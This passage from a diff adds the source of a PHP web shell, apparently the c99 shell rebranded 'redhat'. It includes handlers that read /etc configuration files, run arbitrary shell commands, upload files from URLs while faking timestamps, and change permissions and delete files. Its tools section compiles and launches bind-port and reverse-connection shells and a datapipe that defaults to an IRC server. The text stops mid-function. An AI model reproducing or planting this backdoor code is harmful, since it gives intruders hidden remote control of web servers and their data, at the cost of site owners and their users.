href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using redhat v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "search"){ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]</a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[Info]</a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[Info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[Change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[Download]</a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b>^"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c99sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c99sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + 